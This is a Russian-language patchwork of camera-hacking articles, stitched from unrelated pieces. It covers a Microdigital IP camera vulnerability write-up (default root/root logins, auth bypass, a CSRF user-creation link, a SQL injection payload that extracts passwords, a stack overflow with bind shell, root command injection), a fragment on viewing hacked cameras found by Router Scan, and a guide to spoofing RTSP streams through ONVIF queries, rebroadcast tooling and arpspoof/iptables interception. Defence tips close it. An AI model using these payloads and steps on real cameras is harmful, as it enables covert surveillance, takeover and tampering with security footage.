При подключении сервис запрашивает логин и пароль. Анонимный вход отключен. Но и тут подошел вариант root/root!

Теперь мы можем заходить в любую директорию и получили удобный способ закидывать файлы на удаленный хост.

Telnet

При подключении по Telnet опять же требуется логин и пароль одного из реальных аккаунтов и уже не в первый раз подходит пара root/root. Обрати внимание, что нам теперь не нужна консоль UART, так как все то же самое можно делать удаленно по Telnet.

RTSP

Для подключения к RTSP опять же нужно авторизоваться как root/root. Ссылка для подключения принимает вид rtsp://root:[email protected]:554/Primary.

Веб

Изучив устройство веб-сервера камеры, я составил вот такую схему.

На сервере находятся скрипты на PHP и CGI-приложения, которые общаются с исполняемыми файлами из директории /usr/local/ipsca/ (преимущественно общение идет с MainProc). Для хранения всех настроек используется база данных SQLite 3.

С нее-то мы и начнем искать уязвимости. База данных хранится в /usr/local/ipsca/mipsca.db. В ней лежит все — от логов системы до настроек автоматической загрузки записей камеры на удаленный сервер. Структура базы данных видна на скрине ниже.

Мое внимание привлекла таблица User. Она отвечает за работу с данными пользователей: логин, пароль, привилегии.

Пароль пользователя хранится в колонке Password в незашифрованном виде, то есть, получив доступ к базе данных, злоумышленник может получить пароль администратора и протестировать его на других доступных сервисах.

Переходим к скриптам на PHP. В веб-директории /root/httpd/htdocs/Web лежит три скрипта: download.php, login.php, upload.php.

Файл login.php не особенно интересен, так как PHP тут используется только для настройки компонента ActiveX, нужного для браузерных дополнений, которые стримят видео на сайте.

Файл download.php принимает на вход название файла для скачивания, проверяет его расширение и, если такой файл найдется в папке updownload, отправляет в ответ его содержимое.

В скрипте нет проверки названия файла, так что если кто-то вдруг решит положить в этот каталог исполняемый скрипт на PHP, то его содержимое при запросе будет скачиваться (обрати внимание на переменную $file_type, которая будет пустой в случае неизвестного расширения).

Последний файл — upload.php тоже оказался не без багов: в нем есть возможность отправлять не только файлы с расширением из белого списка (.dat и .DAT), но и с пустым расширением.

Вайтлист расширений задается следующей строкой.

Теперь, если значение расширения не пустое, проводится проверка на наличие расширения в массиве, который получен из $allowExt. В качестве разделителя используется запятая.

Но если расширение пустое, исполнение не дойдет до этого условия и проверка не выполнится. Однако для эксплуатации этот баг бесполезен.

А вот следующий случайно найденный баг этого скрипта уже стоит расценить как уязвимость: здесь отсутствует проверка на длину названия файла. Казалось бы, не очень серьезная проблема, но в начале программы запускается скрипт на Bash.

Он очищает директорию updownload от ранее загруженных туда файлов, а в интерпретаторе Bash, который входит в BusyBox, стоит ограничение на длину названия файла в 256 символов. Получается, что скрипт не сможет удалить файлы, названия которых длиннее этого значения.

Так как у upload.php нет никакой авторизации, любой пользователь может загрузить сколько угодно файлов с именем длиннее 256 символов, и это приведет к заполнению всей памяти устройства. Другими словами, Denial of Service.

Пример загрузки файла.

И получение списка файлов в директории /updownload/ через консоль Bash.

На этом мы можем завершить изучение скриптов на PHP и перейдем к самой большой части исследования — CGI-приложениям.

Приложения CGI на IP-камере отвечают чуть ли не за все действия в администраторской веб-панели, начиная с авторизации и заканчивая обновлением устройства.

Я разделю описание работы как взломать веб камеру на тестирование «невооруженным глазом» (уязвимости, для нахождения которых не нужно реверсить исполняемые файлы) и собственно реверс этих самых бинарей.

При тестировании «невооруженным глазом» нашлись две уязвимости. Первая позволяет проводить атаки подделки межсайтовых запросов (то есть CSRF). Ее суть заключается в том, что можно применить социальную инженерию и заставить администратора перейти по вредоносной ссылке. Это дает возможность выполнить почти любую команду из админского интерфейса. Например, можно сделать вот такую ссылку:

/webparam?user&action=set&param=add&id=tester&pass=cGFzc3dvcmQ=&authority=0&t=1552491782708

Она будет создавать пользователя tester с паролем password.

Когда я изучал трафик в Burp Suite, я долго не мог найти ответ сервера, где браузеру высылаются cookie с данными авторизации (username, auth и password). Оказалось, что искал зря: эти данные выставляются на стороне клиента через код на JavaScript в файле /inc/js/ui.js.

То есть браузер сначала делает запрос на проверку логина и пароля и, если результат положительный, сохраняет значения логина, пароля и привилегий в соответствующие cookie. А дальше эти куки используются при отправке командных запросов, например при создании нового пользователя.

Тут-то и появляется вторая уязвимость которая дает возможность понять Как взломать веб камеру: даже если мы не отправим cookie-переменную password, сервер все равно успешно обработает наш запрос!

То есть достаточно знать логин админа (который по умолчанию — root), чтобы обойти авторизацию и совершать любые вызовы, доступные администратору в административной веб-консоли камеры! И это мы нашли, даже не изучая код приложения. Посмотрим, что же будет в самом коде.

Изучение бинарных приложений

Для изучения исполняемых файлов потребовались некоторые приготовления. А именно:

  • установка статически скомпилированного отладчика GDB из публичных репозиториев на GitHub;
  • установка карточки MicroSD с файловой системой VFAT (что позволяет получить дополнительное место).

Сам процесс исследования скомпилированных приложений выглядит так.

  1. Изучение приложения в IDA Pro.
  2. При необходимости — отладка приложения в GDB на самой камере через Telnet. Кстати, поскольку приложение многопоточное, пришлось каждый раз проверять нужный process id для взаимодействия с определенным потоком (поток создается до обработки запроса).
  3. Написание proof-of-concept для демонстрации уязвимости.

Почти все командные веб-запросы отправлялись по адресу /webparams. Изучив настройки httpd, которые хранятся в файле /usr/local/httpd/conf/httpd.conf, определяем, что все запросы на /webparam перенаправляются в исполняемый файл FCGI по пути /usr/local/httpd/fcgi/webparams.fcgi.

Как взломать веб камеру

Это исполняемый файл для 32-битного ARM. На нем-то я и решил сконцентрироваться.

Произвольные команды FTP

Камера может отправлять записи на удаленный сетевой FTP-сервер. Для настройки конфигурации подключения есть отдельная веб-форма.

Как взломать веб камеру

Далее можно нажать на кнопку Test и проверить соединение. Будет вызвана функция по адресу 0xaeb0. Для удобства будем изучать псевдокод функции, полученный при помощи Hex-Rays Decompiler.

  1. Создание подключения.

    Как взломать веб камеру
  2. Авторизация на FTP-сервере.

  3. Смена текущей директории значением, переданным аргументом.

  4. Создание временного файла.

Проблема безопасности обнаружилась уже на третьем пункте. Функция ftp_CWD, находящаяся по сдвигу 0xA9F0, не проверяет наличие в строке-пути некорректных символов, таких как перенос строки.

Это позволяет отправлять произвольные команды FTP — достаточно добавить байты \r\n в значение директории для загрузки файлов. Значит, мы нашли SSRF.

Например, можно сделать запрос к FTP-серверу камеры и добавить к нему команду, которая создает директорию /tmp/123 (GET-переменная uploadpath как раз отвечает за путь до требуемой директории).

Как взломать веб камеру

Переходим в /tmp/ на камере и видим созданную папку 123.

Path Traversal и проверка наличия файлов

Следующая интересующая нас возможность веб-сервера — синхронизации часов по протоколу NTP.

За изменение параметров отвечает функция по сдвигу 0x12564. Не будем вдаваться детально в принцип ее работы, обратим лишь внимание на переменную TZ (Time Zone).

  1. Первые 32 байта GET-параметра TZ заносятся в переменную get_TZ_32b.

  2. Значение конкатенируется с путем до директории, где хранятся настройки временных зон, и проверяется наличие такой директории (или файла) в файловой системе устройства.

  3. В случае успеха далее идут разные действия, на выполнение которых нужно время. Например, запросы в базу данных.

Если объединить все три пункта, то получится, что мы можем не только манипулировать полным адресом директории (Path Traversal), но и определять по ответу от сервера наличие файла в файловой системе. Чтобы удостовериться в этом, отправляем запрос, который проверит, существует ли файл /etc/passwd.

Как взломать веб камеру

И посмотрим, что будет, если файла нет.

SQL-инъекция в веб камере

Переходим к более серьезным уязвимостям. Конфиги камеры хранятся в базе SQLite 3, и почти все действия на веб-сервере приводят к взаимодействию с ней. Так вот, оказалось, что почти все запросы к базе данных со строковыми параметрами могут проходить с некорректно форматированным вводом. А это, как ты мог догадаться, SQL injection! Для примера как взломать веб камеру разберем одну из уязвимых форм — форму редактирования настроек DNS.

Как взломать веб камеру

При редактировании этих параметров отправляются два запроса на сервер — запрос на модификацию информации и запрос на получение текущих настроек.

Пример запроса на модификацию информации.

Как взломать веб камеру

За обработку такого запроса отвечает функция по сдвигу 0x18374. В начале идет считывание GET-параметров запроса (до 32 байт каждый) и проверка того, заполнены ли они.

Далее — вызов функции strip, которая убирает символы «пробел» и «табуляция» в начале и в конце строк.

Теперь полученные строки отправляются в функцию, которая делает SQL-запрос Update к базе данных SQLite 3.

Проблема в том, что при передаче строк используется не %q (безопасный вариант), а %s, в связи с чем мы можем выйти за пределы строки и добавить свои SQL-инструкции в запрос (кстати, если отправляется целочисленный параметр, то лучше всего использовать %d).

Ниже — пример эксплуатации как взломать веб камеру.

Во время обработки этого запроса создается следующая команда SQL.

Update Network set DDNSUsage=1, DDNSHostname='', DDNSName=(select/*', DDNSName='*/Password from/*', DDNSUserName='*/User limit 1) -- ', DDNSPassword='***'

Этот запрос запишет пароль открытым текстом в поле в поле DDNSName первого аккаунта из таблицы User. Остается запросить текущие настройки DDNS.

В результате мы получили значение пароля первого пользователя из таблицы User — в нашем случае это root/root. Если учесть, что до этого мы нашли способ обхода авторизации, получается, пароль админа может узнать любой неавторизованный пользователь.

Аналогичную проблему можно наблюдать еще у 25 различных GET-параметров, разбросанных по всему веб-серверу (часть параметров требуется предварительно кодировать в Base64).

Переполнение стека

Когда я перебирал параметры, подверженные атакам типа SQL Injection, мое внимание привлекла функция, которая обрабатывает переменную action, расположенную по смещению 0x155D0. Начало псевдокода функции — на скриншоте.

На 78-й строке вызывается функция GET_val. Она в качестве аргумента принимает строку-название GET-переменной и возвращает строку-значение этой переменной.

Далее вызывается функция strcat, которая принимает на вход два указателя на строки и записывает по первому указателю результат конкатенации этих двух строк. Проблема заключается в том, что функция strcat может вызывать ошибку переполнения буфера. Ошибка возникает при условии, что выделенной памяти на стеке для первой переменной не будет хватать для хранения результата сложения двух строк и произойдет переполнение стека.

Первый аргумент функции был объявлен на 53-й строке.

Для этой строки выделяется четыре байта, а потом в первую ячейку помещается нулевой байт, обозначающий ее окончание.

Выходит, что для переполнения стека потребуется в аргументы функции strcat отправить две строки. Тогда длина второй строки будет больше трех байт (четвертый байт нулевой и выставляется автоматически).

Как взломать веб камеру — Переходим в стадию эксплуатации найденной уязвимости как взломать веб камеру. Для начала проверяем, какие защиты включены у исполняемого файла.

Флаг NX отключен, а это значит, что можно исполнить код, расположенный в любой области памяти — в том числе тот, который мы разместим в процессе работы.

Также проверим, включена ли в системе технология рандомизации адресного пространства.

Флаг 1 означает, что адрес стека будет случайным при каждом запуске. Но изначально второй аргумент функции strcat (то есть аргумент GET-переменной action) записывается в кучу, а значит, мы можем им воспользоваться.

При отладке программы отказалось, что адрес возврата функции, которая вызывает strcat, хранится со сдвигом в 52 байта.

Удостовериться в этом можно, отправив следующий запрос.

При отладке процесса исполняемого файла webparam.fcgi получаем ошибку программы, которая пытается перейти по адресу BBBB.

Теперь остается дописать исполняемый код (шелл-код) после адреса возврата и перезаписать адрес возврата на адрес нашего вредоносного кода, который хранится на куче. В примере используется исполняемый код, который открывает порт 10240 и дает доступ в командную оболочку без авторизации (Bind Shell).

Запрос с перезаписыванием адреса возврата на адрес шелл-кода (0x00058248)
Запрос с перезаписыванием адреса возврата на адрес шелл-кода (0x00058248)

Проверяем сетевую активность на устройстве.

Процесс 1263 программы webparam.fcgi начал прослушивать порт 10240 на всех интерфейсах. Подключимся к нему через netcat.

Нам доступен шелл с привилегиями пользователя nobody.

Аналогичная проблема переполнения буфера и у переменной params. Способ эксплуатации не сильно отличается от описанного, поэтому не будем на нем останавливаться.

Подмена файла прошивки

Одна из самых популярных проблем у устройств IoT — это отсутствие подписи у файла прошивки. Конечно же, она не обошла и эту камеру. И Как взломать веб камеру с помощью этого? Все просто: мы можем добавить свой код в прошивку устройства и таким образом заразить его, причем так, что восстановление будет возможно, только если имеется дамп памяти, а есть он (и необходимые навыки) далеко не у любого владельца.

Администраторам устройства доступен интерфейс для обновления прошивки (внизу страницы).

Тут самое время вспомнить про файл прошивки, который мы скачивали с официального сайта в самом начале статьи.

Это .tar, в котором лежат файлы PackageInfo.txt и UpdatePackage_6400.0.8.5.bin. Второй, в свою очередь, оказался архивом.

После распаковки нам стала доступна следующая файловая иерархия.

В директориях хранятся все те же файлы, что и в файловой системе камеры. То есть мы можем подменить один из них, упаковать прошивку и отправить в качестве обновления. Но нужно еще заглянуть в файл PackageInfo.txt, доступный после первого разархивирования.

На восьмой строке указывается контрольная сумма файла .bin. То есть это поле тоже потребуется отредактировать при отправке кастомной прошивки, иначе камера посчитает файл поврежденным и система обновлений проигнорирует его. Эту уязвимость можно отнести к типу RCE — удаленное исполнение произвольных системных команд.

Как взломать веб камеру с помощью повышения привилегий

Напоследок — еще одна уязвимость того же типа, но уже с повышением привилегий до root! Если вставить в камеру карточку MicroSD, то из веб-интерфейса можно удалять файлы с нее.

При удалении файла браузер отправляет по HTTP вот такой запрос.

За обработку запроса на стороне сервера отвечает все то же приложение webparam.fcgi, но в данном случае оно передает его в другую программу — MainProc. Это тоже бинарное приложение.

Изучив MainProc, я определил, что GET-переменная filename объединяется со строкой и передается в функцию system без какой-либо фильтрации. А это означает, что можно исполнять произвольный код от имени пользователя, который запустил MainProc, то есть root.

Proof-of-concept: создаем файл /tmp/test.txt со строкой hacking.

Как взломать веб камеру
Как взломать веб камеру

В совокупности с обходом авторизации этот баг позволяет злоумышленнику получить контроль над любой камерой с открытым веб-интерфейсом. И, вполне вероятно, использовать его для дальнейших атак.

Как взломать веб камеру — итоги

Во время исследования было обнаружено более десяти разных, в том числе и критических уязвимостей IP-камеры Microdigital. Полный список из двенадцати CVE ты можешь найти по ссылке.

Важный момент в том, что файл прошивки, предоставленный производителем на сайте, общий для всех шести IP-камер серии N. И вероятнее всего, часть найденных уязвимостей присутствуют и в других устройствах Microdigital, которых, как говорилось в начале статьи, «свыше 150 моделей»!

Также стоит упомянуть, что на конференции Positive Hack Days 8 был конкурс на взлом IP-камер — CAMBreaker. Среди подопытных числилась и эта модель. Одним из призеров конкурса был Иван Анисеня, который, как оказалось, еще в прошлом году нашел уязвимость внедрения произвольных SQL-запросов и с ее помощью обошел авторизацию на этой камере.

Остается животрепещущий вопрос: как защитить периметр от злоумышленников, если в нем есть подобная камера? Для обеспечения безопасности нужно:

  • установить камеру в физически недоступном для злоумышленника месте;
  • внимательно изучить документацию;
  • отключить невостребованные сервисы, например FTP;
  • сменить все пароли и, желательно, имена пользователей устройства;
  • закрыть на стороне шлюза (чаще всего в роли шлюза выступает роутер) port-forwarding до IP-камеры.

Этим же списком рекомендаций можно руководствоваться при настройке любого другого умного устройства.

Click to rate this post!

[Total: 1 Average: 5]

IP камера – подключение и просмотр

Последняя программа из архива iVMS-4200(v2.8.2.2_ML) служит для просмотра веб камер. Далее следует установить её на компьютер и запустить.

После запуска перейти на вкладку «Панель управления» – «Управление устройством» – «Добавить». Теперь, чтобы iP камера работала, корректно заполняем:

  • Псевдоним – любое имя;
  • Адрес – IP адрес камеры;
  • Порт – оставляем без изменении: 8000;
  • Пользователь – логин от iP камеры
  • Пароль – пароль от iP камеры

Где брать адрес, логин и пароль смотрите на фотографии ниже. После как вставили кликаем по кнопочке: «Добавить». Переходим на вкладку «Панель управления» – «Основной ракурс».

ip камера -адрес, логин и пароль

Если всё сделали правильно, то взломанная iP камера отобразится в интерфейсе программы iVMS-4200. В случае, когда на экране ничего нет, попробуйте следующий адрес ip камеры из программы Router Scan.

Фотографии ↓

Поклонники фильма «Одиннадцать друзей Оушена» наверняка узнали кадр, который мы выбрали для иллюстрации этой статьи. Момент, когда крутые парни умело подменили аналоговый сигнал камер видеонаблюдения казино, засел в умы многих. Некоторые даже пытаются проворачивать подобное в реальной жизни.

image

Технологии изменились, сейчас аналогу предпочитают IP-камеры, способы взлома которых подробно будут рассмотрены далее.

Если ты не параноик, это ещё не значит, что за тобой не следят

Большинство людей, которые занимаются взломом, делают это ради развлечения или чтобы получить кусочек известности в интернете. Они используют известные всем «дыры» в системах обеспечения камер и выкладывают, на их взгляд, веселые видео на популярных интернет-ресурсах. YouTube просто кишит

подобными видеороликами

.

Мы же рассмотрим более серьезные последствия уязвимости, а именно когда взломщик никак не выдает себя и свое проникновение в систему. Такая атака обычно тщательно планируется заранее, за неделю, а то и за месяц до самого взлома.

Как и в нашем примере про «Одиннадцать друзей Оушена», речь пойдет о подмене потока в системах видеонаблюдения, только не аналогового, а цифрового сигнала, а именно RTSP-потока.

Так как вся информация в данной статье носит информационный характер и в первую очередь направлена на ликвидирование ошибок безопасности при построении системы видеонаблюдения, мы не рекомендуем использовать уязвимость, которая рассматривается далее. Именно поэтому взлом самой сети видеонаблюдения будет рассматриваться только поверхностно и описанные способы предполагают открытый доступ к сети предприятия или частного лица. Помните, что несанкционированный доступ к данным может преследоваться по закону.

Опыт нашей компании показывает, что тема очень актуальна, так как на этапе пусконаладки системы видеонаблюдения многие люди подключают камеры в свою систему по RTSP-ссылкам. Либо чтобы сэкономить время, либо по незнанию, либо от уверенности, что так и надо, многие даже не задумываются о том, чтобы сменить пароли или посмотреть, какие настройки безопасности поддерживает их камера.

К слову, RTSP (Real Time Streaming Protocol) — это протокол, который позволяет управлять потоковым видео в режиме реального времени. Нам надо знать о нем только то, что с помощью RTSP-ссылки мы будем забирать видеопоток с камеры.

Мы добрались, наконец, до

практики

, а именно к плану, по которому мы будем действовать:

1. Получение RTSP-ссылки для камеры, поток с которой мы хотим подменить.

2. Подготовка видеофайла для последующей трансляции.

3. Трансляция записанного файла.

4. Защита от вторичной подмены потока.

Получение RTSP URI потока

Для подмены сигнала с камеры сначала нужно найти видеопоток, который нам нужен. Для этого потребуется ссылка на него по протоколу RTSP. Камера обычно передает несколько изображений (с высоким и низким разрешением). Первый используется для записи, а второй – для трансляции на экранах видеонаблюдения. Минимальное разрешение (чаще всего 320 на 240 пикселей) позволяет снизить нагрузку на оборудование. Для каждого потока RTSP ссылка зачастую отличается одной цифрой в ключе.

У разных камер могут быть разные RTSP-ссылки, но общий вид примерно следующий:

rtsp://[логин: пароль@]ip-адрес:RTSP-порт[/ключ]

.

Расшифровка следующая:

  • логин и пароль — те, что используются для доступа к камере (их может и не быть);
  • если в ссылке указывается логин и пароль, то после них указывается символ @ для разделения авторизации и IP-адреса;
  • RTSP-порт, по которому передаются команды управления потоковым видео, по умолчанию имеет значение 554;
  • ключ — уникальная часть RTSP-ссылки, которая может меняться в зависимости от производителя и модели камеры, например: /?user=admin&password=admin&channel=номер_канала&stream=номер_потока.sdp /play1.sdp — вместо «1» указывается номер потока; /live/ch00_0 00 — номер канала, 0 — номер потока; /channel1 — вместо «1» указывается номер потока.
Как узнать RTSP-ссылку, не имея доступа к камере?

Несколько простых способов:

1. Найти ссылку на сайте производителя камеры.

2. Поискать в интернете сайты, где приведены ссылки для разных моделей камер, пример таких сайтов

тут

и

тут

.

3. Скачать на сайте производителя руководство по эксплуатации и найти нужную информацию там.

Для случаев, когда ни один из простых способов не помог, существует немного более сложный. Здесь как минимум будет нужен доступ в сеть, где находится камера. Так как большинство современных камер поддерживает ONVIF, мы можем узнать RTSP-ссылку именно с помощью данного протокола.

Для этого нужно отправлять множественные запросы без авторизации или с авторизацией, стоящей на предполагаемой камере по умолчанию, например «admin:admin» или «admin:12345». К слову, на практике встречались камеры, у которых был выставлен и фильтр допустимых IP-адресов, и нестандартные логин и пароль, но из-за ошибок в прошивке при обращении по протоколу ONVIF ни авторизация, ни фильтр не проверялись.

Как получить желаемую ссылку на оба потока с камеры по протоколу ONVIF?1. С помощью команды GetProfiles узнаем имя профиля, uri которого нам нужен
POST /onvif/media_service HTTP/1.1Host: 192.168.1.77User-Agent: gSOAP/2.8Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetProfiles"Content-Length: 2120Connection: keep-aliveSOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetProfiles"<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"                   .                   Пропускаем описание всего пространства имен.                   .                   xmlns:trt="http://www.onvif.org/ver10/media/wsdl">    <SOAP-ENV:Header></SOAP-ENV:Header>    <SOAP-ENV:Body>        <trt:GetProfiles/>    </SOAP-ENV:Body></SOAP-ENV:Envelope>
2. В полученном длинном ответе находим строку с именем первого и второго профиля
HTTP/1.1 200 OKServer: gSOAP/2.8Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetProfiles"Content-Length: 17405Connection: close<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"                   .                   Пропускаем описание всего пространства имен.                   .                   xmlns:tns1="http://www.onvif.org/ver10/topics">    <SOAP-ENV:Header></SOAP-ENV:Header>    <SOAP-ENV:Body>        <trt:GetProfilesResponse>            <trt:Profiles fixed="true" token="profile_cam1_stream1">                <tt:Name>profile_cam1_stream1</tt:Name>                <tt:VideoSourceConfiguration token="videosource_config_cam1">                    <tt:Name>videosource_config_cam1</tt:Name>                    .                    Пропускаем описание профиля.                    .            </trt:Profiles>            <trt:Profiles fixed="true" token="profile_cam1_stream2">                <tt:Name>profile_cam1_stream2</tt:Name>                .                Пропускаем описание второго профиля.                .            </trt:Profiles>            .            Третий профиль не рассматриваем.            .        </trt:GetProfilesResponse>    </SOAP-ENV:Body></SOAP-ENV:Envelope>- profile_cam1_stream1 — это название первого профиля на камере.- profile_cam1_stream2 — это название второго профиля на камере.
3. Теперь нужно запросить rtsp uri для этих профилей с помощью команды GetStreamUri, указав в поле ProfileToken нужный профиль
Пример для первого потока:POST /onvif/media_service HTTP/1.1Host: 192.168.1.77User-Agent: gSOAP/2.8Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetStreamUri"Content-Length: 2479Connection: keep-aliveSOAPAction: "http://www.onvif.org/ver10/media/wsdl/GetStreamUri"<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"                   .                   Пропускаем описание всего пространства имен.                   .                   xmlns:trt="http://www.onvif.org/ver10/media/wsdl">    <SOAP-ENV:Header></SOAP-ENV:Header>    <SOAP-ENV:Body>        <trt:GetStreamUri>            <trt:StreamSetup xsi:type="tt:StreamSetup">                <tt:Stream xsi:type="tt:StreamType">RTP-Unicast</tt:Stream>                <tt:Transport xsi:type="tt:Transport">                    <tt:Protocol xsi:type="tt:TransportProtocol">UDP</tt:Protocol>                </tt:Transport>            </trt:StreamSetup>            <trt:ProfileToken xsi:type="tt:ReferenceToken">profile_cam1_stream1</trt:ProfileToken>        </trt:GetStreamUri>    </SOAP-ENV:Body></SOAP-ENV:Envelope>В ответ получаем нужную нам ссылку:HTTP/1.1 200 OKServer: gSOAP/2.8Content-Type: application/soap+xml; charset=utf-8; action="http://www.onvif.org/ver10/media/wsdl/GetStreamUri"Content-Length: 3701Connection: close<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://www.w3.org/2003/05/soap-envelope"                   .                   Пропускаем описание всего пространства имен.                   .                   xmlns:tns1="http://www.onvif.org/ver10/topics">    <SOAP-ENV:Header></SOAP-ENV:Header>    <SOAP-ENV:Body>        <trt:GetStreamUriResponse>            <trt:MediaUri>                <tt:Uri>rtsp://192.168.1.77:554/snl/live/1/1</tt:Uri>                <tt:InvalidAfterConnect>false</tt:InvalidAfterConnect>                <tt:InvalidAfterReboot>false</tt:InvalidAfterReboot>                <tt:Timeout>PT0S</tt:Timeout>            </trt:MediaUri>        </trt:GetStreamUriResponse>    </SOAP-ENV:Body></SOAP-ENV:Envelope>То же делаем для второго потока и получаем ссылку:<tt:Uri>rtsp://192.168.1.77:554/snl/live/1/2</tt:Uri>

Запись RTSP-потока в файл

Когда мы получили нужные rtsp-ссылки, нужно записать видео, транслируемое ими, длительностью в несколько часов. Не стоит забывать о том, что в современных системах используется двухпоточность, поэтому нужно записывать одновременно оба потока.

Записать видеопоток по RTSP-протоколу можно с помощью различного программного обеспечения. Рассмотрим наиболее популярные из них:

ffmpeg, gstreamer и vlc

.

1. Запись потока через ffmpeg
$ man ffmpegНас интересует:– vcodec copy — копирование видео в файл;– acodec copy — копирование аудио в файл;– rtsp_transport tcp — выбор метода передачи потока;– r 25 — установка скорости кадров в секунду;– copyts — копирование timestamps;– start_at_zero — копирование timestamps начиная с 00:00:00:000Подставляем нашу RTSP-ссылку и через copy указываем путь и название файла, в который будет идти запись%ffmpeg -i rtsp://192.168.1.77:554/snl/live/1/1 -copyts -start_at_zero -rtsp_transport tcp -r 25 -vcodec copy -acodec copy /home/line/example/1.avi
image

Запись в файл началась.

2. Запись через vlc
Ознакомиться с набором команд, которые нам предлагает vlc-медиаплеер можно с помощью команды$vlc –h.Нам интересны:– sout=#file{путь} — указываем на файл, в который хотим копировать видео;– rtsp-tcp — получение rtsp по tcp;– rtsp-frame-buffer-size=1000 — буфер, чтобы видео не рассыпалось при проигрывании;– h264-fps=25 — надстройка на 25 кадров.Подставляем наши данные и запускаем$cvlc rtsp://192.168.1.77:554/snl/live/1/1 --rtsp-tcp --rtsp-frame-buffer-size=1000 --h264-fps=25 :sout=#file{dst=/home/line/example/1.avi}.Откроется окно vlc и начнется запись, при закрытии окна запись остановится.
3. Запись через gstreamer
Информацию по работе с gstreamer можно найти <a href="https://gstreamer.freedesktop.org/documentation/plugins.html">тут</a>.– rtspsrc location="rtsp://192.168.1.91:554/cam/realmonitor?channel=1&subtype=0&unicast=true&proto=Onvif" — указываем RTSP-поток как источник данных.– rtph264depay — в RTSP видео идет небольшими кусками (rtp-пакетами), через rtph264depay мы будем получать видео с этих пакетиков.– h264parse — как видно из названия, парсим H.264 поток.– avimux — собираем поток в avi, можно также использовать mp4mux или matroskamux(mkv).– filesink location=1.avi — указываем файл, в который будет сохраняться видео.gst-launch-1.0 -v rtspsrc location="rtsp://192.168.1.91:554/cam/realmonitor?channel=1&subtype=0&unicast=true&proto=Onvif" ! rtph264depay ! h264parse ! mp4mux ! filesink location=1.mp4
image

Трансляция RTSP-потока из файла

Пришло время начать транслировать записанный файл в формате RTSP. Для этого воспользуемся все теми же программами, рассмотренными в разделе выше.

1. Для трансляции видеопотока с камеры с помощью ffmpeg необходимо использовать ffserver. Его описание можно найти

здесь

. Для того чтобы задать параметры трансляции, необходимо

заполнить файл

ffserver.conf.

ffserver
Файл ffserver.confRTSPPort — задаем номер rtsp-порта, по которому будет идти вещание.<Stream snl/live/1/1> — после Stream задаем нужный ключ.Format rtp — формат передачи.File "/home/line/example/1.avi" - rtsp_transport tcp — указываем путь к файлу, который необходимо передавать, и ключ для передачи по tcp.NoAudio — не передаем звук.Файл ffserver.confRTSPPort 554<Stream snl/live/1/1>Format rtpFile "/home/line/example/1.avi" -rtsp_transport tcpNoAudio </Stream>Далее запускаем %ffserver -f ffserver.conf.
image

2. Теперь воспользуемся vlc-медиаплеером. Несмотря на то что это самый простой способ, к сожалению, vlc может транслировать поток только по протоколу UDP.

vlc-медиаплеер
Команда для запуска rtsp-потока:– sout=#rtp{sdp=rtsp://192.168.1.232:554/snl/live/1/1} — задаем ссылку, по которой будет происходить трансляция.– repeat — при необходимости ставим повторное воспроизведение видеофайла.vlc /home/line/example/1.avi --sout=#rtp{sdp=rtsp://192.168.1.232:554/snl/live/1/1} —repeat

3. Наконец, с помощью gst-server.

gst-server
Для начала его нужно установить.$ sudo apt-get install gstreamer1.0$ wget https://gstreamer.freedesktop.org/src/gst-rtsp-server/gst-rtsp-server-1.8.3.tar.xz/gst-rtsp-server-1.8.3$ sudo apt install  gtk-doc-tools/gst-rtsp-server-1.8.3$ sudo apt-get install libgstreamer-plugins-base1.0-dev/gst-rtsp-server-1.8.3$ makeТеперь мы можем изменить файл /gst-rtsp-server-1.8.3/examples/test-launch.cТут можно поменять RTSP-порт, который используется по умолчанию#define DEFAULT_RTSP_PORT "8554"и ключ в ссылкеgst_rtsp_mount_points_add_factory (mounts, "/test", factory).После подставления наших значений сделаем make.Теперь запустим файл test-launch с ключами.– rtspsrc location="/home/line/example/1.avi" — путь к файлу, который будем воспроизводить.– H264 Encoder — кодировать в h.264.– rtph264pay name=pay0 pt=96 — делим наш поток на части.$~/gst-rtsp-server-1.8.3/examples$ ./test-launch "( rtspsrc location="/home/line/example/1.avi" ! x264enc ! rtph264pay name=pay0 pt=96 )"

Записанный файл транслируем в формате RTSP, после чего решаем задачу по выводу камеры из строя. Ниже несколько вариантов, которые различаются в зависимости от объекта, который мы хотим атаковать. На самом деле способов намного больше, рассмотрим только самые основные. Первое, что нам необходимо, — это попасть в нужную нам сеть.

Если объект большой территориально, то зачастую есть возможность подойти к некоторым камерам физически и даже попробовать найти коммутационное оборудование, к которому подключена камера.

Если объект небольшой, то можно попробовать войти в сеть через wi-fi и просканировать ее с помощью nmap, например.

Также, если к камере есть физический доступ, можно с помощью одноплатника произвести взлом в несколько этапов:

1) включить запись wireshark;

2) кратковременно отключить провод от камеры и подключить его в одноплатник;

3) вернуть кабель на место;

4) изучить полученные логи.

Или если есть доступ в сеть, можно воспользоваться классическим методом подмены:

– с помощью arpspoof встать между камерой и сервером;

– с помощью ip_forward переадресовывать запросы с сервера видеонаблюдения на IP-камеру, и наоборот;

– с помощью iptables переадресовывать все запросы по RTSP-порту на сервер видеонаблюдения не с камеры, а с нашей машины.

Защита камер видеонаблюдения от взлома

Чтобы защититься от подмены потока по процедуре, описанной выше, можно использовать несколько способов:

1. Интегрирование камер

Наибольшую защиту дает интеграция камеры в программный продукт. Проверить, интегрирована ли ваша камера с

системой видеонаблюдения «Линия»

, можно

тут

.

Если вашей камеры или производителя не оказалось в списке, можно обратиться

в техническую поддержку

с просьбой интегрировать используемую вами модель IP-камеры.

2. Обновление прошивки

Необходимо постоянно поддерживать прошивку камер в актуальном состоянии, так как с помощью обновлений разработчики исправляют различные уязвимости и тем самым повышают стабильность работы камер.

3. Смена стандартных логинов и паролей

Первое, что сделает злоумышленник, — это попробует использовать стандартный логин и пароль камеры. Они указаны в инструкциях по эксплуатации, так что найти их не составит труда. Поэтому всегда используйте уникальные логин и пароль.

4. Включение обязательной авторизации

